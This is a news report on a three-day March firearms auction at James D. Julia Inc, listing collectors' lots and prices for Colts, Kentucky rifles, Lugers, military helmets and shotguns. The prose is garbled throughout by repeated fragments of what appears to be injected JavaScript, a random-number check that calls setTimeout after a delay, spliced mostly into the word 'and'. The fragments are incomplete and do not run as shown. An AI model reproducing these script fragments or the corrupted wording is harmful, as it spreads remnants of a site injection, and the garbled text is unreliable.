FAIRFIELD, MAINE — James D. Julia Inc recently conducted a standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout firearms auction March 10–12 that grossed more than $19 million, led by more than 530 lots that each realized more than $10,000, 50 lots each bringing $50,000-plus andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 13 lots that fetched $100,000 or more. This auction was also notable for offering 12 collections from renowned firearms dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collectors in North America.

From the late Texan Tommy Rholes, a dealer in Winchesters andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Colts who had a fine private gun collection, saw a rare iron framed Henry SN 90, believed to be, for condition, one of the top five or six known that went out within estimate at $161,000.

Tommy’s rare Nimschke factory engraved Colt SAA was a prime example of his taste andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it sold just above estimate at $129,650. Tommy had a great interest in historical items particularly those associated with Texas Rangers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early Southwestern law officers. A rare nickel plated Colt Sheriff’s model to the Copper Queen Consolidated Mining Company in Bisbee, Ariz., carried a presale estimate of $50/100,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and realized $80,500.

The second day began the Bill Gerber collection billed by Julia’s as a collection of impeccable Colts that was led by a rare presentation double cased set, including an 1860 Army andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an 1861 Navy, which had been presented to General William A. Thornton by Colonel Colt. These Colts in original Colt casing realized $224,250. A rare cased Patterson #2 Belt Model in an original case with accessories did well at $166,750, while Gerber’s cased First Model Colt Dragoon brought $63,250.

Next up was the Norm Flayderman collection. Flayderman was a third generation antiques dealer in the Flayderman family andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one of his first major successes was the acquisition of the Medicus Sword collection. In the 1950s, the Medicus collection was considered the most important collection of its type in existence. The asking price at that time was $20,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was more than what any established dealer would consider, all except for the young upstart, Norm Flayderman.

Shortly after purchasing it, an article appeared in Life magazine with a photograph of Norm standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding among a sea of early swords. Over the years to come, Norm marketed the swords, first selling the less valuable ones andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and saving the choice treasures until much later in the future when the prices would be enormously high. This was a business practice that Norm frequently followed with great success.

The majority of the items offered here were special items from Norm’s private collection. The first lot was a rare engraved Volcanic #1 with original silverplate that nearly doubled high estimate to bring $58,650. His early Civilian Colt Second Model Dragoon also sold above estimate at $77,650.

Almost every lot of the Flayderman collection had multiple players on the phone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in the audience. A rare cased engraved 1849 Pocket Revolver was a gem andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fetched $55,200. A large framed Belmont-Adams percussion dragoon carried an inscription to the founder of the Pony Express, Major Benjamin Franklin Ficklin. The gun shot past its $8/12,000 estimate to attain $36,800. Julia’s will sell another segment of Norm’s collection in its August fine art, Asian, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antiques auction, featuring rare Civil War posters, some of which were very rare polychrome examples.

Also offered in this auction was the second session of the Michael Leff collection. The late Michael Leff of Florida had a passion for fine Colts. His collection of Colts, mostly cased andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the majority engraved, included a rare cased engraved two gun set of an 1849 Pocket andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an 1851 Navy. The pair performed went out at $51,750.

The  collection of Dr Douglas Sirkin of Buffalo, N.Y., also found favor with buyers. Sirkin for years, quietly andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and privately amassed a choice collection of firearms ranging from Seventeenth Century European high art wheel locks to carved Kentucky rifles.

Among the rarities were a Martial Colt Walker C-Company #136 that achieved $80,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several of Sirkin’s Kentucky rifles. A profusely relief carved York County rifle by Michael Edwards sold near its high estimate at $47,000. A historic item was the pair of important silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gold inlaid American flintlock dueling pistols by James Haslett of Baltimore, made for andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and given to Gerome Bonaparte, Napoleon’s brother. The pistols went out at $40,250.

Another sought-after niche in Sirkin’s collection were his high art European wheel lock firearms. A pair of Saxon Elector guard wheel lock puffers (holster pistols), dating to around 1590 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ex-Bremner Hogg Jackson Collection, realized $60,375. Another pair of Dresden wheel lock puffers, also circa 1590, having elaborately inlaid ball butts, attained $60,000.

The second day also featured the notable Kentucky rifle andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pistol collection of Frank Sujansky. Upon seeing the entire collection spread out on tables for the first time, Julia’s longtime Kentucky rifle specialist Ron Gabel, former president of the KRA, said, “This is the greatest number of Kentucky pistols that I have previously seen in my entire lifetime.”

The Sujansky collection included what is considered the best — or one of the best — relief carved John Armstrong Kentucky rifles known. This example was in flint andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and went out at $97,750. Armstrong’s rifles are noted for their raised carved ornamentation andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and silver inlays, which included a small eagle plaque in the stock. The stocks themselves were also relief carved.

Among the plethora of Kentucky pistols from the Sujansky collection was a rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and desirable Buck’s County relief carved flintlock by Andrew Vernar that took $46,000. A rare John Armstrong Kentucky pistol, believed to be the only signed John Armstrong pistol in existence, had early on been discovered by Joe Kindig, Jr andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and underwent expert restoration. It fetched more than $40,000. A pair of Lehigh County pistols with tiger maple stocks made by Thomas Grubb brought $29,000.

In the second session was the collection of the late Charles Anthony Lamb. The collection which featured early martial pistols included a Revolutionary War British Dragoon pistol from the 17th Light Dragoons that took $19,550. A fine cased pair of Clark double barrel flintlock pistols saw tremendous bidding, ending at $32,200.

The third session of the auction started with Session II of the collection of Dr Geoffrey Sturgess of Zurich, Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, featuring auto loading weapons. The first session offered last October did well as did this session. The important DWM 04 Navy Troop Trials prototype Luger SN 51 shot to $138,000. His important cased platinum plated ivory gripped andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and engraved presentation Kraigof P.08 Luger changed handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands at $86,250. 

Another prominent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and renowned collection in day III was that of the late Robert H. Haskell III, an avid collector of rare German andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Austrian helmets from the late Nineteenth–Twentieth Century. Every lot saw strong competition but probably the most competed one was the Mecklenberg-Schwerin Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Duchy General Agitant helmet from around 1895. This helmet ($4/6,000) topped out at $25,300. Another desirable helmet was that of the Bavarian Artillery General Officers Model 1913–1916 helmet, which realized $15,500.

Another distinguished collection was that of the late John Houchins, a scholar, author andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and avid collector of L.C. Smith shotguns. Houchins’ fine A-3 L.C. Smith 12-gauge flew past high estimate to $109,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his early monogrammed L.C. Smith 12-gauge made $34,500.

For years, Julia’s has led sales of Class III weapons andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this sale was no exception. A Colt Thompson 1921/28 Navy overstamped with FBI case in 45-caliber fetched $60,375, while an M-60 machine gun by Rock Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Armory (fully transferable) climbed to $39,000.

A historical paper group for the start of Operation Torch dated November 1942 included a map andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and communications, which came recently from the family of Marine Corporal James Richie. It included a Naval Telegram message from General Eisenhower to Major General Patton reading “Play. Ball.” The grouping realized $8,600. A rare first contract, first pistol Colt Model 1900 US Army Semi-auto pistol given to Cololonel James Boyd by General Lucius Clay in early 1945 saw collectors bid it up to $88,500.

For the advanced collector, this sale did not disappoint the shotgun crowd, as it was led by a 28-gauge Boss single trigger ejector sidelock O/U game gun that topped out at $207,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a 28-gauge Boss sidelock ejector single trigger side-by-side gun from the same family went for $136,000. A gold encrusted 16-gauge L.C. Smith Deluxe Grade side-by-side, one of only a couple ever made, brought $207,000.

All prices reported include the buyer’s premium.

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